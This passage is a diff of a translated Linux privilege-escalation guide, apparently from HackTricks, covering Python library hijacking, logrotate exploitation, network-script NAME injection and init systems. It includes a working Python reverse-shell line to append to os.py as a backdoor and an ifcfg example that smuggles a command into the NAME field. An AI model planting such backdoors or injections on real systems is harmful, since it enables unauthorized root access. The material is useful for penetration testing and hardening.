sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -要查看日志，**读取日志的组** [**adm**](interesting-groups-linux-pe/index.html#adm-group) 会非常有帮助。 +为了**读取日志的组** [**adm**](interesting-groups-linux-pe/index.html#adm-group) 会非常有帮助。 -### Shell 文件 +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1398,41 +1417,41 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -你还应检查文件名（**名称**）或文件内容（**内容**）中是否包含词 **password**，并检查日志中是否有 IPs、emails，或 hashes regexps.\ -这里我不会列出所有具体做法，但如果你有兴趣，可以查看 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) 执行的最后一些检查。 +你还应该检查文件名或文件内容中包含单词 "**password**" 的文件，也要在 logs 中检查 IPs 和 emails，或 hashes regexps。\ +我不会在这里列出如何完成所有这些检查，但如果你感兴趣，可以查看 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) 执行的最后几项检查。 -## Writable files +## 可写文件 ### Python library hijacking -如果你知道从**哪里**将执行某个 python 脚本，且你**可以在该文件夹写入**或可以**修改 python libraries**，你就可以修改 OS library 并在其中植入后门（如果你可以写入 python 脚本将被执行的位置，复制并粘贴 os.py library）。 +如果你知道 python 脚本将从 **哪个位置** 被执行，并且你 **可以在该文件夹中写入** 或者你可以 **修改 python libraries**，你就可以修改 OS library 并为其植入 backdoor（如果你能写入 python 脚本将被执行的位置，复制并粘贴 os.py library）。 -To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): +要 **backdoor the library**，只需在 os.py library 的末尾添加以下行（change IP and PORT）： ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate 漏洞利用 +### Logrotate exploitation -A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. +`logrotate` 中的一个漏洞允许对日志文件或其父目录具有 **write permissions** 的用户可能获得提权。因为 `logrotate` 通常以 **root** 运行，可能被操纵去执行任意文件，尤其是在像 _**/etc/bash_completion.d/**_ 这样的目录中。重要的是不仅检查 _/var/log_ 中的权限，还要检查任何应用了日志轮换的目录。 > [!TIP] > 该漏洞影响 `logrotate` 版本 `3.18.0` 及更早版本 -More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +关于该漏洞的更多详细信息见此页面： [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). +你可以使用 [**logrotten**](https://github.com/whotwagner/logrotten) 来利用此漏洞。 -This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. +该漏洞与 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs)** 非常相似，所以每当你发现可以修改日志时，检查谁在管理这些日志，并检查是否可以通过将日志替换为 symlinks 来提权。 ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**漏洞参考：** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. +如果由于任何原因，某用户能够在 _/etc/sysconfig/network-scripts_ 中 **write** 一个 `ifcf-` 脚本，或者能够 **adjust** 一个已有的脚本，那么你的 **system is pwned**。 -Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). +Network scripts，例如 _ifcg-eth0_，用于网络连接。它们看起来完全像 .INI 文件。然而，它们在 Linux 上被 Network Manager (dispatcher.d) \~sourced\~。 -In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. +在我的案例中，这些 network scripts 中的 `NAME=` 属性处理不正确。如果名称中有 **white/blank space the system tries to execute the part after the white/blank space**。这意味着 **everything after the first blank space is executed as root**。 For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1440,17 +1459,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_注意 Network 和 /bin/id 之间的空格_) +（_注意 Network 与 /bin/id 之间的空格_） -### **init, init.d, systemd, and rc.d** +### **init、init.d、systemd 和 rc.d** -目录 `/etc/init.d` 存放 System V init (SysVinit) 的 **脚本**，这是 **经典的 Linux 服务管理系统**。它包含用于 `start`、`stop`、`restart`，有时还有 `reload` 服务的脚本。这些脚本可以直接执行，或者通过位于 `/etc/rc?.d/` 的符号链接来调用。Redhat 系统的另一路径为 `/etc/rc.d/init.d`。 +目录 `/etc/init.d` 存放用于 System V init (SysVinit) 的 **脚本**，这是 **经典的 Linux 服务管理系统**。其中包含用于 `start`、`stop`、`restart`，有时还有 `reload` 服务的脚本。这些脚本可以直接执行，或通过位于 `/etc/rc?.d/` 的符号链接来触发。在 Redhat 系统中，另一条常见路径是 `/etc/rc.d/init.d`。 -另一方面，`/etc/init` 与 **Upstart** 相关，Upstart 是 Ubuntu 引入的较新的 **服务管理** 机制，使用配置文件来管理服务。尽管已经引入了 Upstart，但由于 Upstart 中的兼容层，仍会并行使用 SysVinit 脚本。 +另一方面，`/etc/init` 与 **Upstart** 相关，这是由 Ubuntu 引入的较新的 **service management** 方式，使用配置文件来管理服务。尽管很多系统已迁移到 Upstart，但由于 Upstart 中具有兼容层，SysVinit 脚本仍会与 Upstart 配置一起被使用。 -**systemd** 是一种现代的初始化和服务管理器，提供按需启动守护进程、automount 管理以及系统状态快照等高级功能。它将文件组织在 `/usr/lib/systemd/`（发行版包）和 `/etc/systemd/system/`（管理员修改）中，从而简化系统管理流程。 +**systemd** 是一种现代的初始化与服务管理器，提供了按需启动守护进程、自动挂载管理以及系统状态快照等高级功能。它将文件组织为分发包使用的 `/usr/lib/systemd/`，以及供管理员修改的 `/etc/systemd/system/`，从而简化了系统管理。 -## 其他技巧 +## Other Tricks ### NFS Privilege escalation @@ -1459,7 +1478,7 @@ DEVICE=eth0 nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### 从受限 Shells 中逃逸 +### Escaping from restricted Shells {{#ref}} @@ -1475,7 +1494,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks 常常 hook 一个 syscall，将特权的 kernel 功能暴露给 userspace 的 manager。弱的 manager 认证（例如基于 FD-order 的签名校验或糟糕的密码方案）可能允许本地应用冒充该 manager，从而在已被 root 的设备上升级为 root。更多信息和利用细节请查看： +Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: {{#ref}}